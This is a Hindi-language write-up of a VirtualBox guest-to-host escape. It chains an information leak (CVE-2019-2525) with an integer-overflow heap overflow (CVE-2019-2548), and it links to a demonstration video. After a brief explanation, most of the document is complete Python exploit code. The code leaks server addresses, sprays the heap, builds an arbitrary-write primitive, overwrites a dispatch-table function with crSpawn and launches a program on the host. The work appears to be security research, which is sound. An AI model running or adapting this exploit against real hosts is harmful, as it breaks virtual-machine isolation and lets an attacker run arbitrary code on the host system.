
CVE-2019-2525 / CVE-2019-2548
उपयोग किए जाने वाले VBox बग
crUnpackExtendGetAttribLocation सूचना प्रकटीकरणcrServerDispatchReadPixels इंटीजर ओवरफ्लो, जो हीप ओवरफ्लो की ओर ले जाता हैस्पष्टीकरण से पहले, नीचे दिए गए एक्सप्लॉइट को निष्पादित करते हुए रिकॉर्ड किया गया वीडियो संलग्न है।
https://youtu.be/IQRLtqMgVCY?t=46
hgcm_connect और hgcm_disconnect को कई बार चलाकर मेमोरी में cr_server से संबंधित मान रखे जा सकते हैं, और crUnpackExtendGetAttribLocation में नेगेटिव ऑफसेट के माध्यम से मेमोरी लीक करके cr_server+19056 और crVBoxHGCMDoDisconnect का पता प्राप्त किया जा सकता है।cr_server और crSpawn का पता प्राप्त करें।CRVBOXSVBUFFER_t को मेमोरी में हीप स्प्रे करें। इस समय alloc_buf का उपयोग किया जाता है, और क्योंकि मेमोरी लगातार आवंटित होती है, बफर स्ट्रक्चर का pData भी बफर स्ट्रक्चर के ठीक बगल में आवंटित हो जाता है।alloc_buf(client, 0x20) के साथ CRVBOXSVBUFFER_t के समान आकार का pData बनाएं।

alloc_buf(client, 0x50, msg) और alloc_buf(client, 0x20, msg) को बारी-बारी से आवंटित करके Free चंक को भरें। 0x50 Free किए गए चंक में आवंटित नहीं हो पाता और अन्य मेमोरी क्षेत्र में आवंटित होता है।

crServerDispatchReadPixels में integer overflow होने का उपयोग करके 0x20 आकार का स्ट्रक्चर आवंटित करें।Heap overflow होता है, जिससे अगले स्ट्रक्चर के uiID और uiSize को संशोधित किया जा सकता है।
pData तक को वांछित मान से बदला जा सकता है।
OOB Write निष्पादित किया जा सकता है।OOB Write का उपयोग करके cr_server + 0xc410 पर "xcalc" लिखें।OOB Write का उपयोग करके फ़ंक्शन टेबल में स्थित crServerDispatchBoundsInfoCR(cr_server+0x0xae98) को crSpawn फ़ंक्शन से ओवरराइट करें।crSpawn फ़ंक्शन को कॉल करें। इस समय आर्ग्युमेंट के रूप में command="xcalc", argv=["xcalc" का पता, NULL] देकर VirtualBox से बचकर कैलकुलेटर निष्पादित किया जा सकता है।
https://youtu.be/IQRLtqMgVCY?t=46
import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *
def nop_msg():
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
+ "\x00\x00\x00" +chr(CR_NOP_OPCODE)
+ pack("<IIII", 0x41414141, 0x41414141, 0x41414141, 0x41414141)
)
return msg
def make_leak_msg(offset):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_EXTEND_OPCODE) #opcode
+ pack("<I", offset) #packet_length
+ pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
+ pack("<I", 0x41424344)
)
return msg
def make_readpixels_msg(uiId, uiSize):#x, y, width, height, formata, ttype, pixels):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
+ pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
+ pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
)
return msg
def make_crSpawn_msg(cmd, argv):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_BOUNDSINFOCR_OPCODE) #opcode
+ pack("<I", 1)
+ cmd.ljust(16, "\x00")
+ pack("<I", 0)
+ pack("<QQ", argv, 0) # argv : execute string, null
)
return msg
def leak_address(client):
leak_success = False;
while not leak_success:
for i in range(0, 10):
leak_client = hgcm_connect("VBoxSharedCrOpenGL")
hgcm_disconnect(leak_client)
msg = make_leak_msg(0x100000000-0x9b8)
result = crmsg(client, msg)
if "\x7f\x00\x00" in result:
leak = unpack('<Q', result[16:24])[0]
if (leak%0x1000 == 0x170):
leak_success = True
break
cr_server = leak - 0x4a70
leak_success = False;
while not leak_success:
for i in range(0, 100):
leak_client = hgcm_connect("VBoxSharedCrOpenGL")
hgcm_disconnect(leak_client)
msg = make_leak_msg(0x100000000-0x9b8)
result = crmsg(client, msg)
if "\x7f\x00\x00" in result:
leak = unpack('<Q', result[16:24])[0]
if (leak%0x1000 == 0x230):
leak_success = True
break
crSpawn = leak - 0xbd20
return (cr_server, crSpawn)
def heapSpray(client):
buf_ids = []
spray_ids = []
msg = nop_msg()
# make CRVBOXSVCBUFFER_t & pData heapSpray area
for i in range(120):
buf_ids.append(alloc_buf(client, 0x20, msg))
buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO
# even buf_ids free
for idx in buf_ids[::2]:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
# fill CRVBOXSVCBUFFER_t free areas
for i in range(40):
spray_ids.append(alloc_buf(client, 0x50, msg))
alloc_buf(client, 0x20, msg)
# make a hole between spray area
for idx in spray_ids[::-2]:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
def make_corrupt_obj(pData):
obj = (
"A"*0x28
+ pack("<Q", 0x35)
+ pack("<I", 0xcafebabe) #uiId
+ pack("<I", 0xffffffff) #uiSize
+ pack("<Q", pData) # table_addr
)
return obj
def write_anywhere(addr, data):
#make corrupt obj
fake_buffer = make_corrupt_obj(addr)
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer])
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data])
if __name__=='__main__':
client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(client) #must use
# Trigger to CVE-2019-2525
cr_server, crSpawn = leak_address(client)
crServerDispatchBoundsInfoCR = cr_server+0xae98
print("[*] crServer : " + hex(cr_server))
print("[*] crSpawn : " + hex(crSpawn))
#print("[*] crServerDispatchBoundsInfoCR : " + hex(crServerDispatchBoundsInfoCR))
# heapSpray
heapSpray(client)
# Trigger to CVE-2019-2548
msg = make_readpixels_msg(0xdeadbeef, 0xffffffff)
crmsg(client, msg)
#a = input("test1 : ")
# setting "xcalc"
xcalc_string = cr_server + 0xc410
write_anywhere(xcalc_string, "xcalc")
print("[+] setting execute string ['xcalc'] : " + hex(xcalc_string))
# overwrite talbe func crSpawn
print("[+] overwriting crServerDispatchBoundsInfoCR to crSpawn")
write_anywhere(crServerDispatchBoundsInfoCR, pack("<Q", crSpawn))
# escape!! execute xcalc
msg = make_crSpawn_msg("xcalc", xcalc_string)
crmsg(client, msg)
hgcm_disconnect(client)